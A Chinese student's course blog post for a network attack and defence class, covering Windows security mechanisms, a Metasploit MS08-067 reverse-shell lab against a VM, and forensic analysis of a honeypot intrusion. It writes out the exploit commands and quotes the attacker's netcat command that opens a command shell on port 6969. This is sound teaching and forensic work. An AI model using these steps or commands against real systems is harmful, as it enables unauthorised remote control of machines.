返回顶部

水水水的博客

20199111 2019-2020-2 《网络攻防实践》第七周作业

20199111 2019-2020-2 《网络攻防实践》第七周作业

1.实践内容

1.1 Windows操作系统基本框架概述

windows操作系统分为处于处理器特权模式的操作系统内核(包括:Windows执行体 、Windows内核体 、设备驱动程序 、硬件抽象层 、Windows窗口与图形界面内核实现代码 )以及运行在处理器非特权模式的用户态空间代码(包括:系统支持进程 、 环境子系统服务进程 、服务进程 、用户应用条件 、核心子系统DLL)

Windows操作系统在内核中实现如下核心机制:windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows网络机制,其中根据OSI模型将网络组件模块分为:

(1)物理层 各种网卡硬件的设备驱动程序

(2)链路层 NDIS库及miniport驱动程序

(3)网络层与传输层 TDI传输层,实现了TCP/IP等协议栈

(4)会话层与表示层 网络API、DLL及TDI客户端

(5)应用层 网络应用程序与服务进程

1.2 Windows操作系统的安全体系结构与机制

Windows的安全体系结构

  • Windows身份认证机制:

Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。Windows为每个用户和计算机设置账户(accounts)进行管理,作为这些安全主题运行程序的执行环境,账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。用户组是为了简化用户管理而引入的用户账户容器,通过将用户账户添加入特定的用户组,使得该用户拥有用户组配置的全部权限,有效地使用用户组。Windows用户账户的口令字经加密被保存于SAM或活动目录AD中。在Windows运行期间,内核对SAM文件加了一个持久性的文件锁,故即使是Administrator账户,通过正常路径也无法获取,只有LocalSystem账户权限才可以读取,但现在有许多黑客工具也可以在内存中直接dump出SAM的内容。

  • Windows授权与访问控制机制:

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,在这个令牌中保存了一份与登录用户账户相关的安全主体SID标识符列表,包括用户账户本身的SID,所属用户组的SID列表,同时还包含该用户所拥有的一些系统特权列表。Windows对于系统中所有需保护的资源都抽象成对象(object),具体包括文件、目录、注册表键值、内核对象等。

  • Windows安全审计机制:

系统审计策略在本地安全策略中由系统管理员来定义,来确定系统对哪些事件进行记录,LSASS服务将保存审计策略,并在对象启动设计功能后,在对象安全描述符中的SACL列表进行保存;SRM安全引用监控器在进行对象访问授权时,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;由LSASS服务补充审计记录细节之后,再对这些审计记录发送给EventLog事件日志服务;EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。

  • Windows的其他安全机制:

除了身份认证、授权与访问控制及安全审计这三个基本安全功能特性之外,Windows操作系统还包括IPsec加密与验证机制、EFS加密文件系统等。

1.3 Windows远程安全攻防技术

Windows的远程攻击技术可以分为以下几类:

  • 远程口令猜测与破解攻击

  • 攻击Windows网络服务

  • 攻击Windows客户端及用户

1.4 Windows远程口令猜测与破解攻击

  • 远程口令字猜测:

Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持,因而它也就成为攻击者实施Windows远程口令字猜测的传统攻击渠道。

  • 远程口令字交换通信窃听与破解:

实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。Windows的在不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议。

  • 远程口令猜测与破解防范措施:

1、尽量关闭不必要的易受远程口令猜测攻击网络服务

2、配置主机防火墙来限制对端口服务

3、利用网络防火墙限制这些服务的访问

4、禁用过时且存在本质缺陷的LanMan与NTLM,仅使用经过安全加固NTLMv2与Kerberos认证协议

5、对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略及设定账户锁定阈值。

  • Windows网络服务远程渗透攻击

主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透,针对NetBios网络服务、SMB网络服务、MSRPC网络服务进行攻击,还有针对微软网络服务及第三方网络服务进行远程攻击。

  • 网络服务远程渗透攻击防范措施

1、从软件设计根源上尽可能减少漏洞出现

2、管理员尽可能快的更新与应用软件安全补丁

3、在“零日”漏洞时间管理员应作出相应的防范

4、利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务

5、通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补,启用入侵检测机制,建立有效的事件应急相应计划。

  • Window本地安全攻防技术

1、利用之前的技术获得Windows系统的访问权后,接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序。

2、提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploit。

3、敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。

4、消踪灭迹主要包括关闭审计功能和清理事件日志。

5、远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。

2.实践过程

2.1 实践一:动手实践Metasploit windows attacker

内容:使用metasploit软件对靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

机器 IP地址
kali(攻击机) 192.168.6.3
win2kServer(靶机) 192.168.6.124

下面实验需要用到的Metasploit命令

命令 作用
show payloads 列出metasploit框架中的所有攻击载荷
use name 装载一个渗透攻击或者模块
LHOST 目标主机链接的IP地址
RHOST 远程主机或者目标主机
set function 设置特定的配置参数

在kali中输入msfconsole打开metasploit,使用use name装载一个渗透攻击或者模块。具体命令如下:

use exploit/windows/smb/ms08_067_netapi

接着输入show payloads列出metasploit框架中的所有攻击载荷

选择题目中规定的攻击payload为远程shell(反向连接),使用set function设置特定的配置参数。这里的具体命令为:

set PAYLOAD 3

接下来需要配置靶机IP、攻击机IP、目标操作系统平台类型,具体命令如下:

set RHOST IP 192.168.6.124 #靶机IP

set LHOST IP 192.168.6.3 #kali的IP

set TARGET 0

开启靶机的shell,输入ipconfig可以查看靶机自己的IP地址,攻击成功

2.2 取证分析实践:解码一次成功的NT系统破解攻击

内容:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,提取并分析攻击的全部过程

先筛选了一下攻击机发送的数据包,前几个数据包中出现了几个rfp.gif不明白是什么,百度了一下,没啥收获,接着往下看

在117号数据包看到了又一条奇怪的数据包,看了前面几名同学的博客,了解到boot.ini是系统启动文件,%C0%AF是Unicode编码,查询一下知道微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。追踪HTTP数据流,可以看到IIS/4.0


接着在140号数据包中看到了msadc.dll,查询后知道所有跟RDS服务的联机都是透过标准HTTP来沟通。用POST指令把数据发到服务器内的msadc.dll档案里的AdvencedDateFactory.Query组件,而这个组件存在安全漏洞,会被攻击者进行RDS漏洞攻击。因此,可以确定攻击者进行了RDS漏洞攻击

在149、220号等数据包也看到了前文中提到的AdvencedDateFactory.Query组件

追踪TCP数据流,可以看到攻击者发送的命令。同时看到出现了多次ADM!ROX!YOUR!WORLD,查阅之后知道这是一个msadc2.pl工具发起的攻击

找到与msadc.dll、%C0%AF相关的数据包,结合前面同学的博客,勉强知道了攻击者在干嘛

想要提升自己的用户权限,使用ftp服务下载文件,向yay.txt写入内容,删除和拷贝har.txt文件等等

使用cmd1.exe /c nc -l -p 6969 -e cmd1.exe命令攻击者连接到了6969端口,获得了访问权

筛选出6969端口就可以看到攻击者在获得访问权之后做了什么,截取一小部分。添加文件,删除文件,在人家的系统里逛来逛去,查看人家的用户列表,甚至留言等等等(这时候可能还没看出这是蜜罐主机)

还想查看人家的会话列表,不过么得权限被拒了

在4351号数据包追踪TCP流可以看到攻击者看出了这是一台蜜罐主机

防护措施:

  • 及时对漏洞打补丁

  • 尽量使用强口令增加破解的复杂度,提高安全性

2.3 实践三:团队对抗实践:windows系统远程渗透攻击和分析

重新进行一遍实践一中的操作,并使用wireshark进行抓包

可以看到攻击机IP为192.168.6.3,靶机IP为192.168.6.124,攻击端口和攻击时间等信息。

服务器消息块(SMB)是Windows操作系统中最为复杂,也是最容易遭受远程渗透攻击的网络服务,图中可以看到通过TCP445端口进行SMB网络渗透攻击。

同时还看到了针对远程过程调用 (RPC)网络服务的攻击

3.学习中遇到的问题及解决

  • 问题1:实践一中配置LHOST是产生了如下报错The following options failed to validate: Value 'IP 192.168.6.3' is not vali

  • 问题1解决方案:看了同学的博客之后把靶机和攻击机的网络配置方式都改为NAT之后不再报错

4.实践总结

这两次的作业感觉进行分析的时候总是无从下手,可能还是对原理不太理解

参考资料

posted @ 2020-04-15 13:00  于淼9111  阅读(585)  评论(0编辑  收藏  举报